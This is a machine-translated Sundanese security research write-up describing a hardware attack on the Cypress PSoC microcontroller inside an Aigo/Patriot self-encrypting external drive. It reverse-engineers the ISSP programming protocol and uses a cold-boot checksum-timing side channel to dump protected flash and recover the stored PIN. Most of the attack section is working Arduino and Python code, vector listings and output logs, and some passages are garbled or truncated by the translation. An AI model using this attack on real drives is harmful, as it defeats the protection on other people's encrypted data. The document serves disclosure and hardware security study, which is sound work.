Ieu mangrupikeun bagian kadua sareng terakhir tina tulisan ngeunaan hacking drive énkripsi diri éksternal. Hayu atuh ngingetan yén batur sapagawean anyar dibawa kuring Patriot a (Aigo) SK8671 hard drive, sarta kuring mutuskeun pikeun ngabalikeun deui, tur ayeuna kuring babagi naon anu kaluar tina eta. Sateuacan maca salajengna, pastikeun maca tulisan.
4. Urang ngawitan nyandak dump ti PSoC flash drive internal
Ku kituna, sagalana nunjukkeun (sakumaha kami ngadegkeun di [bagian kahiji] ()) yén kodeu PIN disimpen dina flash bojong PSoC. Ku alatan éta, urang kudu maca jero flash ieu. hareup gawé diperlukeun:
- ngadalikeun "komunikasi" jeung mikrokontroler;
- manggihan cara pikeun pariksa naha "komunikasi" ieu ditangtayungan tina bacaan ti luar;
- manggihan cara pikeun bypass panyalindungan.
Aya dua tempat pikeun milarian kodeu PIN anu sah:
- memori flash internal;
- SRAM, dimana kodeu pin bisa disimpen pikeun ngabandingkeun jeung kodeu pin diasupkeun ku pamaké.
Ningali payun, kuring bakal perhatoskeun yén kuring masih tiasa ngabuang drive flash internal PSoC - ngalangkungan sistem kaamananna nganggo serangan hardware anu disebut "cold boot tracing" - saatos ngabalikeun kamampuan undocumented protokol ISSP. Hal ieu ngamungkinkeun kuring langsung dump kodeu PIN nu sabenerna.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Kode program ahir:
- ;
- .
5. protokol ISSP
5.1. Naon ISSP
"Komunikasi" sareng mikrokontroler tiasa hartosna hal anu béda: ti "ngical paralatan ka anu ngajual" pikeun interaksi nganggo protokol séri (Contona, ICSP pikeun PIC Microchip).
Cypress gaduh protokol proprietary sorangan pikeun ieu, anu disebut ISSP (in-system serial programming protocol), anu sawaréh dijelaskeun dina . ogé masihan sababaraha inpormasi. Aya ogé OpenSource sarimbag disebut HSSP (urang bakal make eta saeutik engké). ISSP jalanna saperti kieu:
- reboot PSoC;
- kaluaran angka magic ka pin data serial of PSoC ieu; pikeun ngasupkeun mode programming éksternal;
- ngirim Paréntah, nu mangrupakeun string bit panjang disebut "vektor".
Dokuméntasi ISSP ngahartikeun vektor ieu ngan ukur sakeupeul paréntah:
- Initialize-1
- Initialize-2
- Initialize-3 (Pilihan 3V sareng 5V)
- ID-SETUP
- BACA-ID-KECAP
- SET-BLOCK-NUM: 10011111010dddddddd111, dimana dddddddd=block #
- HAPUSAN BULK
- PROGRAM-BLOK
- VERIFY-SETUP
- BACA-BYTE: 10110aaaaaZDDDDDDDDZ1, dimana DDDDDDDD = data kaluar, aaaaaa = alamat (6 bit)
- WRITE-BYTE: 10010aaaaaaddddddd111, dimana dddddddd = data asup, aaaaaa = alamat (6 bit)
- aman
- CHECKSUM-SETUP
- BACA-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, dimana DDDDDDDDDDDDDDDDDD = data kaluar: checksum alat
- Hapus BLOK
Contona, vektor pikeun Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Sadaya vektor gaduh panjang anu sami: 22 bit. Dokuméntasi HSSP gaduh sababaraha émbaran tambahan ngeunaan ISSP: "Véktor ISSP henteu langkung ti sakedik sekuen anu ngagambarkeun sakumpulan paréntah."
5.2. Demystifying Véktor
Hayu urang terang naon anu lumangsung di dieu. Mimitina, kuring nganggap yén vektor anu sami ieu mangrupikeun versi atah petunjuk M8C, tapi saatos mariksa hipotesa ieu, kuring mendakan yén opcode operasi henteu cocog.
Saterusna kuring googled vektor di luhur sarta datang di sakuliah ulikan dimana pangarang, sanajan anjeunna teu balik kana detil, méré sababaraha tips mangpaat: "Unggal instruksi dimimitian ku tilu bit nu pakait jeung salah sahiji opat mnemonics (maca tina RAM, nulis ka RAM, maca register, nulis register). Teras aya 8 bit alamat, dituturkeun ku 8 bit data (baca atanapi nyerat) sareng tungtungna tilu bit eureun.
Saterusna kuring bisa glean sababaraha émbaran pohara kapaké tina bagian Pengawas ROM (SROM). . SROM nyaéta ROM hard-coded dina PSoC nu nyadiakeun fungsi utiliti (dina cara nu sarupa jeung Syscall) pikeun kode program jalan dina spasi pamaké:
- 00h:SWBootReset
- 01h: ReadBlock
- 02h: TulisBlok
- 03h: HapusBlok
- 06h: MéjaBaca
- 07h: CékSum
- 08h: Calibrate0
- 09h: Calibrate1
Ku ngabandingkeun ngaran vektor jeung fungsi SROM, urang tiasa peta rupa operasi dirojong ku protokol ieu kana parameter SROM ekspektasi. Hatur nuhun kana ieu, urang tiasa nga-decode tilu bit mimiti vektor ISSP:
- 100 => "wrem"
- 101 => "mem"
- 110 => "wrreg"
- 111 => "Reg"
Nanging, pamahaman lengkep ngeunaan prosés on-chip ngan tiasa didapet ku komunikasi langsung sareng PSoC.
5.3. Komunikasi sareng PSoC
Kusabab Dirk Petrautsky geus Kode HSSP Cypress on Arduino, I dipaké hiji Arduino Uno pikeun nyambung ka lulugu ISSP dewan keyboard.
Punten dicatet yén dina kursus panalungtikan kuring, kuring rada ngarobih kode Dirk. Anjeun tiasa mendakan modifikasi kuring dina GitHub: jeung Aksara Python saluyu pikeun komunikasi jeung Arduino, dina Repository kuring .
Janten, nganggo Arduino, kuring mimiti ngan ukur nganggo vektor "resmi" pikeun "komunikasi". Kuring nyobian maca ROM internal nganggo paréntah VERIFY. Sakumaha anu diharapkeun, kuring henteu tiasa ngalakukeun ieu. Panginten kusabab kanyataan yén bit panyalindungan maca diaktipkeun di jero flash drive.
Saterusna kuring dijieun sababaraha vektor basajan sorangan pikeun nulis jeung maca memori / ngadaptar. Perhatikeun yén urang bisa maca sakabéh SROM sanajan flash drive ditangtayungan!
5.4. Idéntifikasi on-chip registers
Saatos ningali dina "disassembled" vektor, Kuring manggihan yén alat ngagunakeun registers undocumented (0xF8-0xFA) pikeun nangtukeun opcodes M8C, nu dieksekusi langsung, bypassing panyalindungan. Ieu ngamungkinkeun kuring pikeun ngajalankeun rupa-rupa opcodes sapertos "ADD", "MOV A, X", "PUSH" atanapi "JMP". Hatur nuhun kana éta (ku nempo efek samping aranjeunna gaduh on registers) Kuring éta bisa nangtukeun mana tina registers undocumented éta sabenerna registers biasa (A, X, SP jeung PC).
Hasilna, kode "disassembled" dihasilkeun ku alat HSSP_disas.rb Sigana mah kieu (Kuring ditambahkeun komentar pikeun kajelasan):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00 # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00 # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30 # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06 # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Недокумментированная операция: выполнить внешний опкод
5.5. bit kaamanan
Dina tahap ieu kuring geus bisa komunikasi sareng PSoC, tapi kuring masih teu boga informasi dipercaya ngeunaan bit kaamanan flash drive. Kuring reuwas pisan ku kanyataan yén Cypress henteu masihan pangguna alat pikeun mariksa naha panyalindungan diaktipkeun. Kuring ngali deeper kana Google ka tungtungna ngarti yén kode HSSP disadiakeun ku Cypress ieu diropéa sanggeus Dirk ngarilis modifikasi na. Teras kumaha! Vektor anyar ieu parantos muncul:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Ngagunakeun vektor ieu (tingali read_security_data di psoc.py), urang meunang sagala bit kaamanan di SRAM dina 0x80, dimana aya dua bit per blok ditangtayungan.
Hasilna nyegerkeun: sadayana ditangtayungan dina modeu "nonaktipkeun bacaan sareng tulisan éksternal". Ku alatan éta, teu ngan urang teu bisa maca nanaon ti flash drive, tapi urang teu bisa nulis nanaon boh (Contona, pikeun masang dumper ROM aya). Sareng hiji-hijina jalan pikeun nganonaktipkeun panyalindungan nyaéta mupus sadayana chip. 🙁
6. Kahiji (gagal) serangan: ROMX
Najan kitu, urang tiasa nyobian trik handap: saprak urang mibanda kamampuhan pikeun ngaéksekusi opcodes sawenang, naha henteu ngajalankeun ROMX, nu dipaké pikeun maca memori flash? pendekatan ieu boga kasempetan alus sukses. Kusabab fungsi ReadBlock nu maca data ti SROM (anu dipaké ku vektor) pariksa naha éta disebut ti ISSP. Sanajan kitu, éta ROMX opcode conceivably bisa jadi teu boga cék misalna. Janten ieu kode Python (sanggeus nambihan sababaraha kelas pembantu kana kode Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byteHanjakal kode ieu teu jalan. 🙁 Atanapi éta tiasa dianggo, tapi dina kaluaran kami nampi kodeu sorangan (0x28 0x30 0x40)! Ku teu sangka yén pungsionalitas saluyu tina alat mangrupa unsur panyalindungan dibaca. Ieu langkung sapertos trik rékayasa: nalika ngalaksanakeun opcode éksternal, beus ROM dialihkeun ka panyangga samentawis.
7. Serangan kadua: Tiis Boot Tracing
Kusabab trik ROMX teu jalan, Kuring mimiti mikir ngeunaan variasi sejen tina trik ieu - dijelaskeun dina publikasi .
7.1. Palaksanaan
Dokuméntasi ISSP nyayogikeun véktor di handap ieu pikeun CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Ieu dasarna nyauran fungsi SROM 0x07, sakumaha anu dipidangkeun dina dokuméntasi (tambang miring):
Ieu fungsi verifikasi checksum. Éta ngitung checksum 16-bit tina jumlah blok anu dikhususkeun ku pangguna dina hiji bank flash, mimitian ti enol. Parameter BLOCKID dianggo pikeun lulus jumlah blok anu bakal dianggo nalika ngitung checksum. A nilai "1" ngan bakal ngitung checksum pikeun blok enol; padahal "0" bakal ngabalukarkeun total checksum sadaya 256 blok flash bank diitung. Checksum 16-bit dipulangkeun liwat KEY1 sareng KEY2. Parameter KEY1 nyimpen 8 bit low-order tina checksum, sareng parameter KEY2 nyimpen 8 bit tingkat luhur. Pikeun alat nu mibanda sababaraha bank flash, fungsi checksum disebut pikeun tiap hiji misah. Nomer bank anu bakal dianggo diatur ku ngadaptar FLS_PR1 (ku netepkeun bit dina éta pakait sareng target flash bank).
Catet yén ieu téh checksum basajan: bait ngan saukur ditambahkeun hiji sanggeus séjén; euweuh quirks CRC fancy. Salaku tambahan, terang yén inti M8C ngagaduhan set register anu alit, kuring nganggap yén nalika ngitung checksum, nilai panengah bakal dirékam dina variabel anu sami anu tungtungna bakal kaluaran: KEY1 (0xF8) / KEY2 ( 0xF9).
Janten dina téori serangan kuring sapertos kieu:
- Urang nyambung via ISSP.
- Urang ngamimitian itungan checksum ngagunakeun véktor CHECKSUM-SETUP.
- Urang reboot prosésor sanggeus waktu nu tangtu T.
- Urang maca RAM pikeun meunangkeun checksum ayeuna C.
- Ulang léngkah 3 jeung 4, nambahan T saeutik unggal waktu.
- Urang cageur data tina flash drive ku subtracting checksum saméméhna C ti nu ayeuna.
Nanging, aya masalah: vektor Initialize-1 anu kedah kami kirim saatos reboot nimpa KEY1 sareng KEY2:
1100101000000000000000 # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Kode ieu nimpa checksum berharga urang ku nelepon Calibrate1 (fungsi SROM 9) ... Meureun urang ngan bisa ngirim nomer magic (ti mimiti kode di luhur) pikeun asupkeun mode programming, lajeng maca SRAM? Na enya, gawéna! Kode Arduino anu ngalaksanakeun serangan ieu cukup saderhana:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())<<8;
checksum_delay |= getch();
if(checksum_delay > 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay%1000;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Baca checkum_delay.
- Jalankeun itungan checksum (send_checksum_v).
- Ngadagoan periode waktu nu tangtu; mertimbangkeun pitfalls handap:
- Kuring wasted loba waktu nepi ka kuring manggihan naon tétéla jalan leres ngan kalayan reureuh teu ngaleuwihan 16383 μs;
- lajeng deui maéhan jumlah sarua waktu dugi I manggihan yén delayMicroseconds, lamun 0 disalurkeun kana eta salaku input, jalan sagemblengna leres!
- Reboot PSoC kana mode programming (urang ngan ngirimkeun nomer magic, tanpa ngirim vektor initialization).
Kode ahir dina Python:
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Dina nutshell, naon kode ieu:
- Reboots PSoC (jeung ngirimkeunana nomer magic).
- Ngirimkeun vektor initialization pinuh.
- Nyauran fungsi Arduino Cmnd_STK_START_CSUM (0x85), dimana reureuh dina microseconds diliwatan salaku parameter.
- Maca checksum (0xF8 sareng 0xF9) sareng register anu teu didokumentasikeun 0xF1.
Kode ieu dieksekusi 10 kali dina 1 mikrodetik. 0xF1 kaasup di dieu sabab éta hiji-hijina register anu robah nalika ngitung checksum. Panginten éta sababaraha jinis variabel samentawis anu dianggo ku unit logika arithmetic. Catet hack awon anu kuring dianggo pikeun ngareset Arduino nganggo picocom nalika Arduino lirén nunjukkeun tanda-tanda kahirupan (henteu terang kunaon).
7.2. Maca hasilna
Hasil tina skrip Python sapertos kieu (disederhanakeun pikeun kabaca):
DELAY F1 F8 F9 # F1 – вышеупомянутый неизвестный регистр
# F8 младший байт контрольной суммы
# F9 старший байт контрольной суммы
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01 # Итак, 0x117-0xE7: 0x30Kitu cenah, urang boga masalah: saprak urang beroperasi kalawan checksum sabenerna, null byte teu ngarobah nilai dibaca. Sanajan kitu, saprak sakabéh prosedur itungan (8192 bait) nyokot 0,1478 detik (kalawan slight variasi unggal waktos eta dijalankeun), nu equates mun kurang leuwih 18,04 μs per bait, urang bisa ngagunakeun waktu ieu pikeun pariksa nilai checksum dina waktu luyu. Pikeun ngajalankeun munggaran, sagalana dibaca rada gampang, saprak lilana prosedur komputasi sok ampir sarua. Sanajan kitu, tungtung dump ieu kirang akurat sabab "penyimpangan timing minor" dina unggal ngajalankeun nambahan nepi ka jadi signifikan:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDÉta 10 dumps pikeun unggal reureuh mikrodetik. Total waktu operasi pikeun dumping sakabeh 8192 bait flash drive nyaeta ngeunaan 48 jam.
7.3. Flash rekonstruksi binér
Kuring henteu acan réngsé nyerat kodeu anu lengkep bakal ngarekonstruksikeun kode program flash drive, kalayan ngémutan sadaya panyimpangan waktos. Nanging, kuring parantos mulangkeun awal kode ieu. Pikeun mastikeun yén kuring ngalakukeun éta leres, kuring ngabongkar éta nganggo m8cdis:
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retSigana cukup masuk akal!
7.4. Milarian alamat panyimpenan kode PIN
Ayeuna urang tiasa maca checksum dina waktos anu urang peryogikeun, urang tiasa kalayan gampang mariksa kumaha sareng dimana éta robih nalika urang:
- asupkeun kodeu PIN salah;
- ngarobah kodeu pin.
Kahiji, pikeun manggihan alamat gudang perkiraan, abdi nyandak dump checksum di 10 ms increments sanggeus reboot a. Teras kuring ngalebetkeun PIN anu salah sareng ngalakukeun anu sami.
Hasilna henteu pikaresepeun pisan, sabab seueur parobihan. Tapi tungtungna kuring bisa nangtukeun yén checksum robah wae antara 120000 µs jeung 140000 µs reureuh. Tapi "kode pin" anu ku kuring ditampilkeun di dinya leres-leres lepat - kusabab artefak prosedur delayMicroseconds, anu ngalakukeun hal-hal aneh nalika 0 diteruskeun ka dinya.
Lajeng, sanggeus méakkeun ampir 3 jam, abdi inget yen sistem SROM nelepon CheckSum narima argumen salaku input nu nangtukeun jumlah blok pikeun checksum! Anu. urang bisa kalayan gampang localize alamat gudang kodeu PIN jeung counter "salah usaha", kalawan akurasi nepi ka blok 64-bait.
Ngajalankeun awal kuring ngahasilkeun hasil ieu:
Teras kuring ngarobih kodeu PIN tina "123456" janten "1234567" sareng ngagaduhan:
Ku kituna, kodeu PIN jeung counter tina usaha salah sigana disimpen dina blok No.
7.5. Nyandak dump blok No. 126
Blok # 126 kedah ayana di tempat sakitar 125x64x18 = 144000μs, ti mimiti itungan checksum, dina dump pinuh kuring, sareng katingalina lumayan. Teras, saatos sacara manual nyaring seueur dumps anu teu sah (kusabab akumulasi "penyimpangan waktos minor"), kuring tungtungna nampi bait ieu (dina latency 145527 μs):
Atra pisan yén kodeu PIN disimpen dina bentuk anu teu énkripsi! Nilai ieu, tangtosna, henteu ditulis dina kode ASCII, tapi tétéla, aranjeunna ngagambarkeun bacaan anu dicandak tina keyboard kapasitif.
Tungtungna, abdi lumpat sababaraha tés deui pikeun manggihan dimana bad usaha counter ieu disimpen. Ieu hasilna:
0xFF - hartina "15 usaha "Na eta nurun kalawan unggal usaha gagal.
7.6. Pamulihan kode PIN
Ieu kode awon kuring anu nempatkeun di luhur babarengan:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printIeu hasil palaksanaanna:
$ ./psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Horeeee! Gawé!
Punten dicatet yén nilai latency anu kuring dianggo sigana relevan pikeun hiji PSoC khusus - anu kuring dianggo.
8. Naon salajengna?
Janten, hayu urang nyimpulkeun dina sisi PSoC, dina konteks drive Aigo urang:
- urang bisa maca SRAM sanajan dibaca ditangtayungan;
- Urang tiasa ngalangkungan panyalindungan anti-swipe ku ngagunakeun serangan trace boot tiis sareng langsung maca kodeu PIN.
Nanging, serangan kami ngagaduhan sababaraha cacad kusabab masalah sinkronisasi. Éta tiasa ningkat sapertos kieu:
- nulis utilitas pikeun leres decode data kaluaran anu dicandak salaku hasil tina serangan "cold boot trace";
- ngagunakeun gadget FPGA pikeun nyieun waktu reureuh leuwih tepat (atawa make timer hardware Arduino);
- coba serangan sejen: Lebetkeun kode PIN ngahaja lepat, reboot na dump RAM, hoping yén kode PIN bener bakal disimpen dina RAM pikeun babandingan. Sanajan kitu, ieu teu jadi gampang pikeun ngalakukeun on Arduino, saprak tingkat sinyal Arduino nyaeta 5 volt, bari dewan urang examining karya kalawan 3,3 sinyal volt.
Hiji hal anu pikaresepeun anu tiasa dicobian nyaéta maén sareng tingkat tegangan pikeun ngalangkungan panyalindungan anu dibaca. Upami pendekatan ieu tiasa dianggo, urang bakal tiasa nampi data anu akurat pisan tina flash drive - tibatan ngandelkeun maca checksum kalayan telat waktos anu teu tepat.
Kusabab SROM meureun maca bit hansip via panggero Sistim ReadBlock, urang bisa lakonan hal nu sarua salaku dina blog Dmitry Nedospasov - palaksanaan ulang serangan Chris Gerlinski, ngumumkeun dina konperénsi éta .
Hal anu pikaresepeun anu sanés tiasa dilakukeun nyaéta ngagiling kasus tina chip: nyandak dump SRAM, ngaidentipikasi sauran sistem anu teu didokumentasikeun sareng kerentanan.
9. Kacindekan
Janten, panyalindungan drive ieu seueur anu dipikahoyong, sabab ngagunakeun mikrokontroler biasa (henteu "hardened") pikeun nyimpen kodeu PIN ... Tambih deui, kuring henteu acan ningali (acan) kumaha kaayaan data. énkripsi dina alat ieu!
Naon anu anjeun tiasa nyarankeun pikeun Aigo? Saatos nganalisa sababaraha modél drive HDD énkripsi, dina 2015 kuring damel on SyScan, di mana anjeunna nalungtik masalah kaamanan sababaraha drive HDD éksternal, sarta nyieun saran ngeunaan naon bisa ningkat dina eta. 🙂
Kuring nyéépkeun dua sabtu minggu sareng sababaraha sonten pikeun ngalakukeun ieu panalungtikan. Jumlahna kira-kira 40 jam. Cacah ti mimiti (nalika kuring muka disk) nepi ka ahir (kode PIN dump). Sarua 40 jam kalebet waktos kuring nyerat tulisan ieu. Ieu lalampahan pisan seru.
sumber: www.habr.com